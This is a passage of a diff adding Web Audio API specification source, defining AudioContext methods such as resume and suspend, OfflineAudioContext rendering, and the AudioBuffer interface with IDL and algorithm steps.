+		Note: When an {{AudioContext}} has been closed, implementation can
+		choose to aggressively release more resources than when
+		suspending.
+
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{Promise}}&lt;{{undefined}}&gt;
+		</div>
+
+	: <dfn>createMediaElementSource(mediaElement)</dfn>
+	::
+		Creates a {{MediaElementAudioSourceNode}}
+		given an {{HTMLMediaElement}}. As a consequence of calling this
+		method, audio playback from the {{HTMLMediaElement}} will be
+		re-routed into the processing graph of the
+		{{AudioContext}}.
+
+		<pre class=argumentdef for="AudioContext/createMediaElementSource()">
+		mediaElement: The media element that will be re-routed.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{MediaElementAudioSourceNode}}
+		</div>
+
+	: <dfn>createMediaStreamDestination()</dfn>
+	::
+		Creates a {{MediaStreamAudioDestinationNode}}
+
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em>
+			{{MediaStreamAudioDestinationNode}}
+		</div>
+
+	: <dfn>createMediaStreamSource(mediaStream)</dfn>
+	::
+		Creates a {{MediaStreamAudioSourceNode}}.
+
+		<pre class=argumentdef for="AudioContext/createMediaStreamSource()">
+		mediaStream: The media stream that will act as source.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{MediaStreamAudioSourceNode}}
+		</div>
+
+	: <dfn>createMediaStreamTrackSource(mediaStreamTrack)</dfn>
+	::
+		Creates a {{MediaStreamTrackAudioSourceNode}}.
+
+		<pre class=argumentdef for="AudioContext/createMediaStreamTrackSource()">
+		mediaStreamTrack: The {{MediaStreamTrack}} that will act as source. <span class="synchronous">The value of its <code>kind</code> attribute must be equal to <code>"audio"</code>, or an {{InvalidStateError}} exception MUST be thrown.</span>
+		</pre>
+
+		<div>
+			<em>Return type:</em>
+			{{MediaStreamTrackAudioSourceNode}}
+		</div>
+
+	: <dfn>getOutputTimestamp()</dfn>
+	::
+		Returns a new {{AudioTimestamp}} instance
+		containing two related audio stream position
+		values for the context: the {{AudioTimestamp/contextTime}} member contains
+		the time of the sample frame which is currently being rendered
+		by the audio output device (i.e., output audio stream
+		position), in the same units and origin as context's
+		{{BaseAudioContext/currentTime}}; the
+		{{AudioTimestamp/performanceTime}} member
+		contains the time estimating the moment when the sample frame
+		corresponding to the stored <code>contextTime</code> value was
+		rendered by the audio output device, in the same units and
+		origin as <code>performance.now()</code> (described in
+		[[!hr-time-3]]).
+
+		If the context's rendering graph has not yet processed a block
+		of audio, then {{getOutputTimestamp}} call
+		returns an {{AudioTimestamp}} instance with both
+		members containing zero.
+
+		After the context's rendering graph has started processing of
+		blocks of audio, its {{BaseAudioContext/currentTime}} attribute value
+		always exceeds the {{AudioTimestamp/contextTime}} value obtained
+		from {{AudioContext/getOutputTimestamp}} method call.
+
+		<div class=example>
+			The value returned from {{getOutputTimestamp}}
+			method can be used to get performance time estimation for the
+			slightly later context's time value:
+
+			<pre highlight="js">
+				function outputPerformanceTime(contextTime) {
+					const timestamp = context.getOutputTimestamp();
+					const elapsedTime = contextTime - timestamp.contextTime;
+					return timestamp.performanceTime + elapsedTime * 1000;
+				}
+			</pre>
+
+			In the above example the accuracy of the estimation depends on
+			how close the argument value is to the current output audio
+			stream position: the closer the given <code>contextTime</code>
+			is to <code>timestamp.contextTime</code>, the better the
+			accuracy of the obtained estimation.
+		</div>
+
+		Note: The difference between the values of the context's
+		{{BaseAudioContext/currentTime}} and the
+		{{AudioTimestamp/contextTime}}
+		obtained from {{AudioContext/getOutputTimestamp}} method call
+		cannot be considered as a reliable output latency estimation
+		because {{BaseAudioContext/currentTime}} may be
+		incremented at non-uniform time intervals, so {{AudioContext/outputLatency}} attribute should
+		be used instead.
+
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{AudioTimestamp}}
+		</div>
+
+	: <dfn>resume()</dfn>
+	::
+		Resumes the progression of the {{AudioContext}}'s
+		{{BaseAudioContext/currentTime}} when it has
+		been suspended.
+
+		<div algorithm="AudioContext::resume()">
+			<span class="synchronous">When resume is called,
+			execute these steps:</span>
+
+			1. If [=this=]'s [=relevant global object=]'s [=associated Document=] is not [=fully active=] then return [=a promise rejected with=] "{{InvalidStateError}}" {{DOMException}}.
+
+			1. Let <var>promise</var> be a new Promise.
+
+			2. If the {{[[control thread state]]}} on the
+				{{AudioContext}} is <code>closed</code> reject the
+				promise with {{InvalidStateError}}, abort these steps,
+				returning <var>promise</var>.
+
+			3. Set {{[[suspended by user]]}} to <code>false</code>.
+
+			4. If the context is not <a>allowed to start</a>, append
+				<var>promise</var> to {{BaseAudioContext/[[pending promises]]}} and
+				{{AudioContext/[[pending resume promises]]}} and abort these steps, returning
+				<var>promise</var>.
+
+			5. Set the {{[[control thread state]]}} on the
+				{{AudioContext}} to <code>running</code>.
+
+			6. <a>Queue a control message</a> to resume the {{AudioContext}}.
+
+			7. Return <var>promise</var>.
+		</div>
+
+		<div id="context-resume" algorithm="run a control message in AudioContext">
+			Running a <a>control message</a> to resume an
+			{{AudioContext}} means running these steps on the
+			<a>rendering thread</a>:
+
+			1. Attempt to <a href="#acquiring">acquire system resources</a>.
+
+			2. Set the {{[[rendering thread state]]}} on the {{AudioContext}} to <code>running</code>.
+
+			3. Start <a href="#rendering-loop">rendering the audio graph</a>.
+
+			4. In case of failure,
+				<a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+				queue a media element task</a> to execute the following steps:
+
+				1. Reject all promises from {{AudioContext/[[pending resume promises]]}}
+					in order, then clear {{AudioContext/[[pending resume promises]]}}.
+
+				2. Additionally, remove those promises from {{BaseAudioContext/[[pending
+					promises]]}}.
+
+			5. <a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+				queue a media element task</a> to execute the following steps:
+
+				1. Resolve all promises from {{AudioContext/[[pending resume promises]]}} in order.
+				1. Clear {{AudioContext/[[pending resume promises]]}}. Additionally, remove those
+					promises from {{BaseAudioContext/[[pending promises]]}}.
+
+				2. Resolve <em>promise</em>.
+
+				3. If the {{BaseAudioContext/state}} attribute of the {{AudioContext}} is not already "{{AudioContextState/running}}":
+
+					1. Set the {{BaseAudioContext/state}} attribute of the {{AudioContext}} to "{{AudioContextState/running}}".
+
+					1. <a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+						queue a media element task</a> to <a spec="dom" lt="fire an event">fire
+						an event </a> named `statechange` at the {{AudioContext}}.
+		</div>
+
+		<div>
+			<em>No parameters.</em>
+		</div>
+
+		<div>
+			<em>Return type:</em> {{Promise}}&lt;{{undefined}}&gt;
+		</div>
+
+	: <dfn>suspend()</dfn>
+	::
+		Suspends the progression of {{AudioContext}}'s
+		{{BaseAudioContext/currentTime}}, allows any
+		current context processing blocks that are already processed to
+		be played to the destination, and then allows the system to
+		release its claim on audio hardware. This is generally useful
+		when the application knows it will not need the
+		{{AudioContext}} for some time, and wishes to temporarily
+		<a>release system resource</a> associated with the
+		{{AudioContext}}. The promise resolves when the frame buffer
+		is empty (has been handed off to the hardware), or immediately
+		(with no other effect) if the context is already
+		<code>suspended</code>. The promise is rejected if the context
+		has been closed.
+
+		<div algorithm="AudioContext.suspend()">
+			<span class="synchronous">When suspend is called, execute these steps:</span>
+
+			1. If [=this=]'s [=relevant global object=]'s [=associated Document=] is not [=fully active=] then return [=a promise rejected with=] "{{InvalidStateError}}" {{DOMException}}.
+
+			1. Let <var>promise</var> be a new Promise.
+
+			2. If the {{[[control thread state]]}} on the
+				{{AudioContext}} is <code>closed</code> reject the promise
+				with {{InvalidStateError}}, abort these steps,
+				returning <var>promise</var>.
+
+			3. Append <var>promise</var> to {{BaseAudioContext/[[pending promises]]}}.
+
+			4. Set {{[[suspended by user]]}} to <code>true</code>.
+
+			5. Set the {{[[control thread state]]}} on the {{AudioContext}} to <code>suspended</code>.
+
+			6. <a>Queue a control message</a> to suspend the {{AudioContext}}.
+
+			7. Return <var>promise</var>.
+		</div>
+
+		<div algorithm="run a control message to suspend an AudioContext">
+			Running a <a>control message</a> to suspend an
+			{{AudioContext}} means running these steps on the
+			<a>rendering thread</a>:
+
+			1. Attempt to <a>release system resources</a>.
+
+			2. Set the {{[[rendering thread state]]}} on the {{AudioContext}} to <code>suspended</code>.
+
+			3. <a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+				queue a media element task</a> to execute the following steps:
+
+				1. Resolve <em>promise</em>.
+
+				2. If the {{BaseAudioContext/state}}
+					attribute of the {{AudioContext}} is not already "{{AudioContextState/suspended}}":
+
+					1. Set the {{BaseAudioContext/state}} attribute of the {{AudioContext}} to "{{AudioContextState/suspended}}".
+
+					1. <a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+						queue a media element task</a> to <a spec="dom" lt="fire an event">fire
+						an event </a> named `statechange` at the {{AudioContext}}.
+		</div>
+
+		While an {{AudioContext}} is suspended,
+		{{MediaStream}}s will have their output ignored; that
+		is, data will be lost by the real time nature of media streams.
+		{{HTMLMediaElement}}s will similarly have their output
+		ignored until the system is resumed. {{AudioWorkletNode}}s
+		and {{ScriptProcessorNode}}s will cease to have their
+		processing handlers invoked while suspended, but will resume
+		when the context is resumed. For the purpose of
+		{{AnalyserNode}} window functions, the data is considered as
+		a continuous stream - i.e. the
+		<code>resume()</code>/<code>suspend()</code> does not cause
+		silence to appear in the {{AnalyserNode}}'s stream of data.
+		In particular, calling {{AnalyserNode}} functions repeatedly
+		when a {{AudioContext}} is suspended MUST return the same
+		data.
+
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{Promise}}&lt;{{undefined}}&gt;
+		</div>
+</dl>
+
+<h4 dictionary lt="audiocontextoptions" id="AudioContextOptions">
+{{AudioContextOptions}}</h4>
+
+The {{AudioContextOptions}} dictionary is used to
+specify user-specified options for an {{AudioContext}}.
+
+<pre class="idl">
+dictionary AudioContextOptions {
+	(AudioContextLatencyCategory or double) latencyHint = "interactive";
+	float sampleRate;
+};
+</pre>
+
+<h5 id="dictionary-audiocontextoptions-members">
+Dictionary {{AudioContextOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="AudioContextOptions">
+	: <dfn>latencyHint</dfn>
+	::
+		Identify the type of playback, which affects tradeoffs
+		between audio output latency and power consumption.
+
+		The preferred value of the <code>latencyHint</code> is a
+		value from {{AudioContextLatencyCategory}}. However, a
+		double can also be specified for the number of seconds of
+		latency for finer control to balance latency and power
+		consumption. It is at the browser's discretion to interpret
+		the number appropriately. The actual latency used is given by
+		AudioContext's {{AudioContext/baseLatency}} attribute.
+
+	: <dfn>sampleRate</dfn>
+	::
+		Set the {{BaseAudioContext/sampleRate}} to this value
+		for the {{AudioContext}} that will be created. The
+		supported values are the same as the sample rates for an
+		{{AudioBuffer}}. <span class="synchronous">A
+		{{NotSupportedError}} exception MUST be thrown if
+		the specified sample rate is not supported.</span>
+
+		If {{AudioContextOptions/sampleRate}} is not
+		specified, the preferred sample rate of the output device for
+		this {{AudioContext}} is used.
+</dl>
+
+<h4 dictionary lt="audiotimestamp" id="AudioTimestamp">
+{{AudioTimestamp}}</h4>
+
+<pre class="idl">
+dictionary AudioTimestamp {
+	double contextTime;
+	DOMHighResTimeStamp performanceTime;
+};
+</pre>
+
+<h5 id="dictionary-audiotimestamp-members">
+Dictionary {{AudioTimestamp}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="AudioTimestamp">
+	: <dfn>contextTime</dfn>
+	::
+		Represents a point in the time coordinate system of
+		BaseAudioContext's {{BaseAudioContext/currentTime}}.
+
+	: <dfn>performanceTime</dfn>
+	::
+		Represents a point in the time coordinate system of a
+		<code>Performance</code> interface implementation (described in
+		[[!hr-time-3]]).
+</dl>
+
+<!--
+ ███████  ████████ ████████ ██       ████ ██    ██ ████████          ███     ██████
+██     ██ ██       ██       ██        ██  ███   ██ ██               ██ ██   ██    ██
+██     ██ ██       ██       ██        ██  ████  ██ ██              ██   ██  ██
+██     ██ ██████   ██████   ██        ██  ██ ██ ██ ██████         ██     ██ ██
+██     ██ ██       ██       ██        ██  ██  ████ ██             █████████ ██
+██     ██ ██       ██       ██        ██  ██   ███ ██             ██     ██ ██    ██
+ ███████  ██       ██       ████████ ████ ██    ██ ████████       ██     ██  ██████
+-->
+
+<h3 interface lt="offlineaudiocontext" id="OfflineAudioContext">
+The {{OfflineAudioContext}} Interface</h3>
+
+{{OfflineAudioContext}} is a particular type of
+{{BaseAudioContext}} for rendering/mixing-down
+(potentially) faster than real-time. It does not render to the audio
+hardware, but instead renders as quickly as possible, fulfilling the
+returned promise with the rendered result as an
+{{AudioBuffer}}.
+
+<xmp class="idl">
+[Exposed=Window]
+interface OfflineAudioContext : BaseAudioContext {
+	constructor(OfflineAudioContextOptions contextOptions);
+	constructor(unsigned long numberOfChannels, unsigned long length, float sampleRate);
+	Promise<AudioBuffer> startRendering();
+	Promise<undefined> resume();
+	Promise<undefined> suspend(double suspendTime);
+	readonly attribute unsigned long length;
+	attribute EventHandler oncomplete;
+};
+</xmp>
+
+<h4 id="OfflineAudioContext-constructors">
+Constructors</h4>
+
+<dl dfn-type=constructor dfn-for="OfflineAudioContext">
+	: <dfn>OfflineAudioContext(contextOptions)</dfn>
+	::
+		<div algorithm="OfflineAudioContext.OfflineAudioContext(contextOptions)">
+
+		<p>
+			If the <a href=
+			"https://html.spec.whatwg.org/#concept-current-everything">current
+			settings object</a>'s <a href=
+			"https://html.spec.whatwg.org/#responsible-document">responsible
+			document</a> is NOT <a href=
+			"https://html.spec.whatwg.org/multipage/browsers.html#fully-active">
+			fully active</a>, throw an <code>InvalidStateError</code> and
+			abort these steps.
+		</p>
+			Let <var>c</var> be a new {{OfflineAudioContext}} object.
+			Initialize <var>c</var> as follows:
+
+			1. Set the {{[[control thread state]]}} for <var>c</var>
+				to <code>"suspended"</code>.
+
+			2. Set the {{[[rendering thread state]]}} for
+				<var>c</var> to <code>"suspended"</code>.
+
+			3. Construct an {{AudioDestinationNode}} with its
+				{{AudioNode/channelCount}} set to
+				<code>contextOptions.numberOfChannels</code>.
+		</div>
+
+		<pre class=argumentdef for="OfflineAudioContext/constructor(contextOptions)">
+		contextOptions: The initial parameters needed to construct this context.
+		</pre>
+
+	: <dfn>OfflineAudioContext(numberOfChannels, length, sampleRate)</dfn>
+	::
+		The {{OfflineAudioContext}} can be constructed with the same arguments
+		as AudioContext.createBuffer. <span class="synchronous">A
+		{{NotSupportedError}} exception MUST be thrown if any
+		of the arguments is negative, zero, or outside its nominal
+		range.</span>
+
+		The OfflineAudioContext is constructed as if
+
+		<pre highlight="js">
+			new OfflineAudioContext({
+					numberOfChannels: numberOfChannels,
+					length: length,
+					sampleRate: sampleRate
+			})
+		</pre>
+
+		were called instead.
+
+		<pre class=argumentdef for="OfflineAudioContext/constructor(numberOfChannels, length, sampleRate)">
+		numberOfChannels: Determines how many channels the buffer will have. See {{BaseAudioContext/createBuffer()}} for the supported number of channels.
+		length: Determines the size of the buffer in sample-frames.
+		sampleRate: Describes the sample-rate of the [=linear PCM=] audio data in the buffer in sample-frames per second. See {{BaseAudioContext/createBuffer()}} for valid sample rates.
+		</pre>
+</dl>
+
+<h4 id="OfflineAudioContext-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="OfflineAudioContext">
+	: <dfn>length</dfn>
+	::
+		The size of the buffer in sample-frames. This is the same as the
+		value of the <code>length</code> parameter for the constructor.
+
+	: <dfn>oncomplete</dfn>
+	::
+		An EventHandler of type <a href="#OfflineAudioCompletionEvent">OfflineAudioCompletionEvent</a>.
+		It is the last event fired on an {{OfflineAudioContext}}.
+</dl>
+
+<h4 id="OfflineAudioContext-methods">
+Methods</h4>
+
+<dl dfn-type=method dfn-for="OfflineAudioContext">
+	: <dfn>startRendering()</dfn>
+	::
+		Given the current connections and scheduled changes, starts
+		rendering audio.
+
+		Although the primary method of getting the rendered audio data
+		is via its promise return value, the instance will also fire an
+		event named <code>complete</code> for legacy reasons.
+
+		<div algorithm="OfflineAudioContext.startRendering()">
+			Let <dfn attribute for="OfflineAudioContext">[[rendering started]]</dfn> be an internal slot of this {{OfflineAudioContext}}.  Initialize this slot to <em>false</em>.
+
+			<span class="synchronous">When <code>startRendering</code> is
+			called, the following steps MUST be performed on the <a>control
+			thread</a>:</span>
+
+			<ol>
+				<li>If [=this=]'s [=relevant global object=]'s [=associated Document=] is not [=fully active=] then return [=a promise rejected with=] "{{InvalidStateError}}" {{DOMException}}.
+
+				<li>If the {{[[rendering started]]}} slot on the
+				{{OfflineAudioContext}} is <em>true</em>, return a rejected
+				promise with {{InvalidStateError}}, and abort these
+				steps.
+
+				<li>Set the {{[[rendering started]]}} slot of the
+				{{OfflineAudioContext}} to <em>true</em>.
+
+				<li>Let <var>promise</var> be a new promise.
+
+				<li>Create a new {{AudioBuffer}}, with a number of
+				channels, length and sample rate equal respectively to the
+				<code>numberOfChannels</code>, <code>length</code> and
+				<code>sampleRate</code> values passed to this instance's
+				constructor in the <code>contextOptions</code> parameter.
+				Assign this buffer to an internal slot
+				<dfn attribute for="OfflineAudioContext">[[rendered buffer]]</dfn> in the {{OfflineAudioContext}}.
+
+				<li>If an exception was thrown during the preceding
+				{{AudioBuffer}} constructor call, reject
+				<var>promise</var> with this exception.
+
+				<li>Otherwise, in the case that the buffer was successfully
+				constructed, <a>begin offline rendering</a>.
+
+				<li>Append <var>promise</var> to {{BaseAudioContext/[[pending promises]]}}.
+
+				<li>Return <var>promise</var>.
+			</ol>
+		</div>
+
+		<div algorithm="begin offline rendering">
+			To <dfn dfn for>begin offline rendering</dfn>, the following steps MUST
+			happen on a <a>rendering thread</a> that is created for the
+			occasion.
+
+			<ol>
+				<li>Given the current connections and scheduled changes, start
+				rendering <code>length</code> sample-frames of audio into
+				{{[[rendered buffer]]}}
+
+				<li>For every <a>render quantum</a>, check and
+				{{OfflineAudioContext/suspend()|suspend}}
+				rendering if necessary.
+
+				<li>If a suspended context is resumed, continue to render the
+				buffer.
+
+				<li>Once the rendering is complete,
+					<a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+					queue a media element task</a> to execute the following steps:
+
+					<ol>
+						<li>Resolve the <var ignore>promise</var> created by {{startRendering()}} with {{[[rendered buffer]]}}.
+
+						<li><a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+							queue a media element task</a> to
+							<a spec="dom" lt="fire an event">fire an event</a> named
+							`complete` using an instance of {{OfflineAudioCompletionEvent}}
+							whose `renderedBuffer` property is set to
+							{{[[rendered buffer]]}}.
+
+					</ol>
+
+			</ol>
+		</div>
+
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{Promise}}&lt;{{AudioBuffer}}&gt;
+		</div>
+
+	: <dfn>resume()</dfn>
+	::
+		Resumes the progression of the {{OfflineAudioContext}}'s
+		{{BaseAudioContext/currentTime}} when it has
+		been suspended.
+
+		<div algorithm="OfflineAudioContext::resume()">
+			<span class="synchronous">When resume is called,
+			execute these steps:</span>
+
+			1. If [=this=]'s [=relevant global object=]'s [=associated Document=] is
+				not [=fully active=] then return [=a promise rejected with=]
+				"{{InvalidStateError}}" {{DOMException}}.
+
+			1. Let <var>promise</var> be a new Promise.
+
+			1. Abort these steps and reject <var>promise</var> with
+				{{InvalidStateError}} when any of following conditions is true:
+				- The {{[[control thread state]]}} on the {{OfflineAudioContext}}
+					is <code>closed</code>.
+				- The {{[[rendering started]]}} slot on the {{OfflineAudioContext}}
+					is <em>false</em>.
+
+			1. Set the {{[[control thread state]]}} flag on the
+				{{OfflineAudioContext}} to <code>running</code>.
+
+			1. <a>Queue a control message</a> to resume the {{OfflineAudioContext}}.
+
+			1. Return <var>promise</var>.
+		</div>
+
+		<div algorithm="run a control message in OfflineAudioContext">
+			Running a <a>control message</a> to resume an
+			{{OfflineAudioContext}} means running these steps on the
+			<a>rendering thread</a>:
+
+			1. Set the {{[[rendering thread state]]}} on the {{OfflineAudioContext}} to <code>running</code>.
+
+			2. Start <a href="#rendering-loop">rendering the audio graph</a>.
+
+			3. In case of failure,
+				<a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+				queue a media element task</a> to reject |promise| and abort the remaining steps.
+
+			4. <a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+				queue a media element task</a> to execute the following steps:
+
+				1. Resolve <var>promise</var>.
+
+				2. If the {{BaseAudioContext/state}} attribute of the
+					{{OfflineAudioContext}} is not already "{{AudioContextState/running}}":
+
+					1. Set the {{BaseAudioContext/state}} attribute of the
+						{{OfflineAudioContext}} to "{{AudioContextState/running}}".
+
+					1. <a href="https://html.spec.whatwg.org/multipage/media.html#queue-a-media-element-task">
+						queue a media element task</a> to <a spec="dom" lt="fire an event">fire
+						an event</a> named `statechange` at the {{OfflineAudioContext}}.
+
+		</div>
+
+		<div>
+			<em>No parameters.</em>
+		</div>
+
+		<div>
+			<em>Return type:</em> {{Promise}}&lt;{{undefined}}&gt;
+		</div>
+
+	: <dfn>suspend(suspendTime)</dfn>
+	::
+		Schedules a suspension of the time progression in the audio
+		context at the specified time and returns a promise. This is
+		generally useful when manipulating the audio graph
+		synchronously on {{OfflineAudioContext}}.
+
+		Note that the maximum precision of suspension is the size of
+		the <a>render quantum</a> and the specified suspension time
+		will be rounded up to the nearest <a>render quantum</a>
+		boundary. For this reason, it is not allowed to schedule
+		multiple suspends at the same quantized frame. Also, scheduling
+		should be done while the context is not running to ensure
+		precise suspension.
+
+		<pre class=argumentdef for="OfflineAudioContext/suspend()">
+		suspendTime: Schedules a suspension of the rendering at the specified time, which is quantized and rounded up to the <a>render quantum</a> size. If the quantized frame number <ol> <li>is negative or <li>is less than or equal to the current time or <li>is greater than or equal to the total render duration or <li>is scheduled by another suspend for the same time, </ol>then the promise is rejected with {{InvalidStateError}}.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{Promise}}&lt;{{undefined}}&gt;
+		</div>
+</dl>
+
+<h4 dictionary lt="offlineaudiocontextoptions" id="OfflineAudioContextOptions">
+{{OfflineAudioContextOptions}}</h4>
+
+This specifies the options to use in constructing an
+{{OfflineAudioContext}}.
+
+<pre class="idl">
+dictionary OfflineAudioContextOptions {
+	unsigned long numberOfChannels = 1;
+	required unsigned long length;
+	required float sampleRate;
+};
+</pre>
+
+<h5 id="dictionary-offlineaudiocontextoptions-members">
+Dictionary {{OfflineAudioContextOptions}} Members</h5>
+
+<dl dfn-type="dict-member" dfn-for="OfflineAudioContextOptions">
+	: <dfn>length</dfn>
+	::
+		The length of the rendered {{AudioBuffer}} in sample-frames.
+
+	: <dfn>numberOfChannels</dfn>
+	::
+		The number of channels for this {{OfflineAudioContext}}.
+
+	: <dfn>sampleRate</dfn>
+	::
+		The sample rate for this {{OfflineAudioContext}}.
+</dl>
+
+<h4 interface lt="offlineaudiocompletionevent" id="OfflineAudioCompletionEvent">
+The {{OfflineAudioCompletionEvent}} Interface</h4>
+
+This is an {{Event}} object which is dispatched to
+{{OfflineAudioContext}} for legacy reasons.
+
+<pre class="idl">
+[Exposed=Window]
+interface OfflineAudioCompletionEvent : Event {
+	constructor (DOMString type, OfflineAudioCompletionEventInit eventInitDict);
+	readonly attribute AudioBuffer renderedBuffer;
+};
+</pre>
+
+<h5 id="OfflineAudioCompletionEvent-attributes">
+Attributes</h5>
+
+<dl dfn-type=attribute dfn-for="OfflineAudioCompletionEvent">
+	: <dfn>renderedBuffer</dfn>
+	::
+		An {{AudioBuffer}} containing the rendered audio data.
+</dl>
+
+<h5 dictionary lt="offlineaudiocompletioneventinit" id="OfflineAudioCompletionEventInit">
+{{OfflineAudioCompletionEventInit}}</h5>
+
+<pre class="idl">
+dictionary OfflineAudioCompletionEventInit : EventInit {
+	required AudioBuffer renderedBuffer;
+};
+</pre>
+
+<h6 id="dictionary-offlineaudiocompletioneventinit-members">
+Dictionary {{OfflineAudioCompletionEventInit}} Members</h6>
+
+<dl dfn-type=dict-member dfn-for="OfflineAudioCompletionEventInit">
+	: <dfn>renderedBuffer</dfn>
+	::
+		Value to be assigned to the {{OfflineAudioCompletionEvent/renderedBuffer}} attribute of the event.
+</dl>
+
+<!--
+   ███    ██     ██ ████████  ████  ███████  ████████  ██     ██ ████████ ████████ ████████ ████████
+  ██ ██   ██     ██ ██     ██  ██  ██     ██ ██     ██ ██     ██ ██       ██       ██       ██     ██
+ ██   ██  ██     ██ ██     ██  ██  ██     ██ ██     ██ ██     ██ ██       ██       ██       ██     ██
+██     ██ ██     ██ ██     ██  ██  ██     ██ ████████  ██     ██ ██████   ██████   ██████   ████████
+█████████ ██     ██ ██     ██  ██  ██     ██ ██     ██ ██     ██ ██       ██       ██       ██   ██
+██     ██ ██     ██ ██     ██  ██  ██     ██ ██     ██ ██     ██ ██       ██       ██       ██    ██
+██     ██  ███████  ████████  ████  ███████  ████████   ███████  ██       ██       ████████ ██     ██
+-->
+
+<h3 interface lt="audiobuffer" id="AudioBuffer">
+The {{AudioBuffer}} Interface</h3>
+
+This interface represents a memory-resident audio asset. It can contain one or
+more channels with each channel appearing to be 32-bit floating-point
+[=linear PCM=] values with a nominal range of \([-1,1]\) but the
+values are not limited to this range. Typically, it would be expected
+that the length of the
+PCM data would be fairly short (usually somewhat less than a minute).
+For longer sounds, such as music soundtracks, streaming should be
+used with the <{audio}> element and
+{{MediaElementAudioSourceNode}}.
+
+An {{AudioBuffer}} may be used by one or more
+{{AudioContext}}s, and can be shared between an
+{{OfflineAudioContext}} and an
+{{AudioContext}}.
+
+{{AudioBuffer}} has four internal slots:
+
+<dl dfn-type=attribute dfn-for="AudioBuffer">
+	: <dfn>[[number of channels]]</dfn>
+	::
+		The number of audio channels for this {{AudioBuffer}}, which is an unsigned long.
+
+	: <dfn>\[[length]]</dfn>
+	::
+		The length of each channel of this {{AudioBuffer}}, which is an unsigned long.
+
+	: <dfn>[[sample rate]]</dfn>
+	::
+		The sample-rate, in Hz, of this {{AudioBuffer}}, a float.
+
+	: <dfn>[[internal data]]</dfn>
+	::
+		A [=data block=] holding the audio sample data.
+</dl>
+
+<pre class="idl">
+[Exposed=Window]
+interface AudioBuffer {
+	constructor (AudioBufferOptions options);
+	readonly attribute float sampleRate;
+	readonly attribute unsigned long length;
+	readonly attribute double duration;
+	readonly attribute unsigned long numberOfChannels;
+	Float32Array getChannelData (unsigned long channel);
+	undefined copyFromChannel (Float32Array destination,
+	                           unsigned long channelNumber,
+	                           optional unsigned long bufferOffset = 0);
+	undefined copyToChannel (Float32Array source,
+	                         unsigned long channelNumber,
+	                         optional unsigned long bufferOffset = 0);
+};
+</pre>
+
+<h4 id="AudioBuffer-constructors">
+Constructors</h4>
+
+<dl dfn-type="constructor" dfn-for="AudioBuffer">
+	: <dfn>AudioBuffer(options)</dfn>
+	::
+		<div algorithm="new AudioBuffer()">
+			1. <span class="synchronous">If any of the values in {{AudioBuffer/constructor()/options!!argument}} lie outside its nominal range, throw a {{NotSupportedError}} exception and abort the following steps.</span>
+
+			1. Let <var>b</var> be a new {{AudioBuffer}} object.
+			1. Respectively assign the values of the attributes
+				{{AudioBufferOptions/numberOfChannels}}, {{AudioBufferOptions/length}},
+				{{AudioBufferOptions/sampleRate}} of the {{AudioBufferOptions}} passed
+				in the constructor to the internal slots {{[[number of channels]]}}, {{[[length]]}}, {{[[sample rate]]}}.
+
+			1. Set the internal slot {{[[internal data]]}} of this
+				{{AudioBuffer}} to the result of calling <a href="https://tc39.github.io/ecma262/#sec-createbytedatablock"><code>
+				CreateByteDataBlock</a>({{[[length]]}} * {{[[number of channels]]}})</code>.
+
+				Note: This initializes the underlying storage to zero.
+
+			1. Return <var>b</var>.
+		</div>
+		<pre class=argumentdef for="AudioBuffer/constructor()">
+		options: An {{AudioBufferOptions}} that determine the properties for this {{AudioBuffer}}.
+		</pre>
+</dl>
+
+<h4 id="AudioBuffer-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="AudioBuffer">
+	: <dfn>duration</dfn>
+	::
+		Duration of the PCM audio data in seconds.
+
+		This is computed from the {{[[sample rate]]}} and the
+		{{[[length]]}} of the {{AudioBuffer}} by performing
+		a division between the {{AudioBuffer/[[length]]}} and the
+		{{[[sample rate]]}}.
+
+	: <dfn>length</dfn>
+	::
+		Length of the PCM audio data in sample-frames. This MUST return
+		the value of {{AudioBuffer/[[length]]}}.
+
+	: <dfn>numberOfChannels</dfn>
+	::
+		The number of discrete audio channels. This MUST return the value
+		of {{[[number of channels]]}}.
+
+	: <dfn>sampleRate</dfn>
+	::
+		The sample-rate for the PCM audio data in samples per second.
+		This MUST return the value of {{[[sample rate]]}}.
+</dl>
+
+<h4 id="AudioBuffer-methods">
+Methods</h4>
+
+<dl dfn-type=method dfn-for="AudioBuffer">
+	: <dfn>copyFromChannel(destination, channelNumber, bufferOffset)</dfn>
+	::
+		The {{AudioBuffer/copyFromChannel()}} method copies the samples from
+		the specified channel of the {{AudioBuffer}} to the
+		<code>destination</code> array.
+
+		Let <code>buffer</code> be the {{AudioBuffer}} with
+		\(N_b\) frames, let \(N_f\) be the number of elements in the
+		{{AudioBuffer/copyFromChannel()/destination}} array, and \(k\) be the value of
+		{{AudioBuffer/copyFromChannel()/bufferOffset}}. Then the number of frames copied
+		from <code>buffer</code> to {{AudioBuffer/copyFromChannel()/destination}} is
+		\(\max(0, \min(N_b - k, N_f))\). If this is less than \(N_f\), then the
+		remaining elements of {{AudioBuffer/copyFromChannel()/destination}} are not
+		modified.
+
+		<pre class=argumentdef for="AudioBuffer/copyFromChannel()">
+		destination: The array the channel data will be copied to.
